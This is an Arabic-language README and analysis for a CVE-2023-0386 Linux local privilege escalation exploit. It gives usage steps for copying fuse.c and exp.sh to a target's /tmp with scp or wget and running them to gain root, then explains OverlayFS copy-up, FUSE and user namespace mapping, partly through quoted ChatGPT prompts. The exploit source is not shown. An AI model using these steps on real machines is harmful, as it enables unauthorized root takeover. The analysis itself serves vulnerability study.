
استغلال وتحليل CVE-2023-0386 بسيط جدًا. استخدم c و sh.
طريقة الاستخدام:
أولاً: ارفع fuse.c و exp.sh إلى المجلد /tmp.
يمكنك استخدام scp أو python3 -m http.server لرفع الملف إلى الجهاز الهدف.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
أو
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
ثم:
cd /tmp
/bin/bash exp.sh
الآن، أنت root!

فيما يلي تحليل مفصل لـ CVE-2023-0386.
بالأمس قضيت يومًا كاملاً في دراسة هذه الثغرة. ببساطة، عندما ينسخ OverlayFS ملفًا من الطبقة السفلية إلى الطبقة العليا، فإنه لا يتحقق مما إذا كان مستخدم مساحة أسماء الطبقة السفلية مُعيَّنًا في مساحة أسماء المستخدمين الحالية، مما يسمح بتعيين suid ورفع الصلاحيات.
يبدو هذا مجردًا للغاية، لمعرفة هذه المشكلة نحتاج أولاً إلى معرفة عدة نقاط:
ChatGPT: اشرح بالتفصيل ما هو OverlayFS في نظام Linux.
OverlayFS، ويُعرف أيضًا باسم نظام ملفات Overlay، هو نظام ملفات مدمج (union filesystem) في نواة Linux. يمكنه دمج أنظمة ملفات متعددة ومختلفة فوق بعضها البعض لتشكيل عرض موحد واحد. تم اعتماده رسميًا في النواة في إصدار Linux 3.18.
يتكون OverlayFS من ثلاثة مكونات رئيسية مهمة: نظام الملفات السفلي (lower filesystem)، ونظام الملفات العلوي (upper filesystem)، ونظام الملفات المدمج (merged filesystem). دور كل جزء كما يلي:
Lower filesystem (نظام الملفات السفلي): هذه هي الطبقة الأساسية، وعادةً ما تكون للقراءة فقط. جميع الملفات والدلائل تأتي في البداية من هذه الطبقة.
Upper filesystem (نظام الملفات العلوي): هذه هي الطبقة العليا، وعادةً ما تكون قابلة للكتابة. عندما نكتب في نظام الملفات، تُحفظ جميع التغييرات في هذه الطبقة. إذا كان هناك ملف موجود في نظام الملفات السفلي وأردنا تعديله، فسيتم إنشاء نسخة من هذا الملف في نظام الملفات العلوي ثم تعديلها. تُسمى هذه العملية "copy-up".
Merged filesystem (نظام الملفات المدمج): هذا هو العرض النهائي لـ OverlayFS، وهو يجمع بين نظامي الملفات السفلي والعلوي. عند إجراء عملية قراءة، يبحث OverlayFS أولاً في نظام الملفات العلوي؛ إذا لم يجد الملف، يبحث في نظام الملفات السفلي.
العرض المنطقي لهذه البنية كما يلي:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
أحد التطبيقات المهمة لـ OverlayFS هو في التطبيقات المعبأة في حاويات، خاصة في Docker. في Docker، كل طبقة من طبقات الصورة تكون للقراءة فقط ويمكن استخدامها كنظام ملفات سفلي لحاويات أخرى. عندما نشغّل حاوية جديدة، ينشئ Docker لها نظام ملفات علوي جديد وفارغ. بهذه الطريقة، جميع التغييرات على الحاوية (مثل تثبيت برامج جديدة) تؤثر فقط على نظام الملفات العلوي ولا تؤثر على طبقات الصورة المشتركة.
بالإضافة إلى ذلك، بما أن OverlayFS يسمح بتركيب أنظمة ملفات سفلية متعددة تحت طبقة عليا واحدة، يمكننا إنشاء أنظمة ملفات متعددة المستويات، وهذا له تطبيقات واسعة في طبقات الصور في Docker.
باختصار، الملفات في الطبقة السفلية للقراءة فقط، وفي الطبقة العليا قابلة للقراءة والكتابة، وطبقة الدمج تجمع ملفات الطبقتين معًا وتعرض عرضًا موحدًا. عندما نعدّل في طبقة الدمج ملفًا موجودًا في الطبقة السفلية وغير موجود في الطبقة العليا، يتم نسخ الملف من الطبقة السفلية كما هو إلى الطبقة العليا لتعديله. هذه هي نقطة تفعيل الثغرة.
GPT: أنت خبير في نواة لينكس، اشرح الآن بالتفصيل ما هو FUSE؟
FUSE (Filesystem in Userspace) هي آلية لإنشاء أنظمة ملفات في مساحة المستخدم. إنها واجهة توفرها نواة Linux، وتسمح للمستخدمين بتطوير وتشغيل أنظمة الملفات الخاصة بهم دون تعديل كود النواة.
الهدف الرئيسي لـ FUSE هو تبسيط تطوير واستخدام أنظمة الملفات الجديدة. باستخدام FUSE، يمكنك إنشاء نظام ملفات مخصص دون الحاجة إلى فهم الكثير من تفاصيل واجهات برمجة تطبيقات النواة. هذا مفيد جدًا في سيناريوهات مثل التصحيح، والتطوير النموذجي السريع، والبحث الأكاديمي، وتنفيذ أنظمة ملفات خاصة جدًا (مثل أنظمة ملفات التشفير الشفاف وأنظمة ملفات الشبكة).
في FUSE، يعمل معظم منطق نظام الملفات في مساحة المستخدم. وهذا يجعل التطوير أسهل، لأن مساحة المستخدم توفر بيئة تطوير أكثر ودية: يمكنك استخدام أي لغة برمجة تفضلها، ولديك المزيد من المكتبات المتاحة، ومعالجة الأخطاء أبسط، وما إلى ذلك. من ناحية أخرى، هذا يعني أيضًا أن أنظمة ملفات FUSE عادةً ما تكون أبطأ من أنظمة الملفات في مساحة النواة، لأنها تحتاج إلى التبديل المتكرر بين مساحة المستخدم ومساحة النواة.
يتكون نظام ملفات FUSE عادةً من جزأين:
عند تطوير نظام ملفات FUSE، تحتاج إلى تنفيذ سلسلة من دوال الاستدعاء (callback functions)، وهذه الدوال تقابل عمليات نظام الملفات المختلفة، مثل فتح الملف، وقراءته، وكتابته، وما إلى ذلك. عند حدوث هذه العمليات، تستدعي وحدة FUSE في النواة دالة الاستدعاء المناسبة وتعيد النتيجة إلى المتصل.
بشكل عام، يوفر FUSE إطارًا قويًا لتنفيذ أنظمة الملفات في مساحة المستخدم، فهو يبسّط تطوير أنظمة الملفات، ويتيح أيضًا توسيعها وتعديلها بطريقة معيارية.
في الحقيقة، يسمح FUSE للمستخدم بتخصيص نظام ملفات والملفات الموجودة فيه.
نحتاج إلى كتابة الكود المتعلق بـ FUSE باستخدام لغة C.
أنت خبير في نواة لينكس، ما هي مساحة أسماء المستخدمين؟
في Linux، "مساحة الأسماء" هي ميزة من ميزات النواة تُستخدم لعزل رؤية العمليات، بحيث لا ترى العملية إلا الموارد التي تنتمي إلى نفس مساحة الأسماء. كل نوع من أنواع مساحات الأسماء يقابل نوعًا محددًا من الموارد. على سبيل المثال، مساحة أسماء PID (معرّف العملية) تُستخدم لعزل معرّفات العمليات، ومساحة أسماء Net تُستخدم لعزل واجهات الشبكة ومكدس الشبكة، ومساحة أسماء Mount تُستخدم لعزل نقاط التحميل لأنظمة الملفات، وهكذا.
مساحة أسماء المستخدمين (User Namespaces) هي نوع من مساحات أسماء Linux، وتُستخدم أساسًا لعزل معرّفات المستخدمين والمجموعات. كل مساحة أسماء مستخدمين تمتلك مجموعة معرّفات مستخدمين ومجموعات خاصة بها. على سبيل المثال، قد تعمل عملية في مساحة أسماء المستخدمين A كمستخدم root (UID 0)، لكن في مساحة أسماء المستخدمين B قد تكون مجرد مستخدم عادي.
الفائدة من ذلك هي أنه حتى لو كانت العملية تملك صلاحيات root داخل مساحة أسماء المستخدمين الخاصة بها، فإنها لا تستطيع التأثير على موارد مساحات الأسماء الأخرى، لأنها في تلك المساحات قد تكون مجرد مستخدم عادي. هذا يزيد أمان النظام بشكل كبير، فحتى إذا تم اختراق حاوية (وهي في الواقع مجموعة عمليات تعمل ضمن مجموعة مساحات أسماء خاصة بها)، لا يمكن للمهاجم التأثير على النظام المضيف أو الحاويات الأخرى.
مساحة أسماء المستخدمين هي إحدى التقنيات الأساسية لحاويات Linux (مثل Docker و LXC وغيرها). من خلال استخدام مساحة أسماء المستخدمين وأنواع أخرى من مساحات الأسماء، يمكن للحاويات توفير عزل مشابه للأجهزة الافتراضية دون الحاجة إلى المحاكاة الافتراضية.
بشكل عام، مساحة أسماء المستخدمين هي آلية في Linux لعزل معرّفات المستخدمين والمجموعات، وتلعب دورًا مهمًا في تعزيز أمان النظام والحاويات.
إذن ما هو تعيين مساحة أسماء المستخدمين؟
في مساحة أسماء المستخدمين في Linux، لدينا مفهوم مهم جدًا: تعيين مساحة أسماء المستخدمين. يحدد هذا التعيين كيفية تحويل معرّفات المستخدمين والمجموعات بين مساحات أسماء المستخدمين المختلفة. أي أن العملية التي تبدو كـ root داخل مساحة أسماء مستخدمين معينة قد تكون مجرد مستخدم عادي غير مميز في المضيف أو في مساحة أسماء أخرى.
يمكن ضبط آلية التعيين هذه عن طريق تعديل الملفين /proc/[pid]/uid_map و /proc/[pid]/gid_map، حيث [pid] هو معرّف العملية PID. في هذين الملفين، كل سطر هو عنصر تعيين يتكون من ثلاثة حقول: المعرّف داخل مساحة الأسماء، والمعرّف خارج مساحة الأسماء، ومدى المعرّفات. على سبيل المثال، "0 1000 1" تعني أن المعرّف 0 داخل مساحة الأسماء يُعيَّن إلى المعرّف 1000 خارج مساحة الأسماء.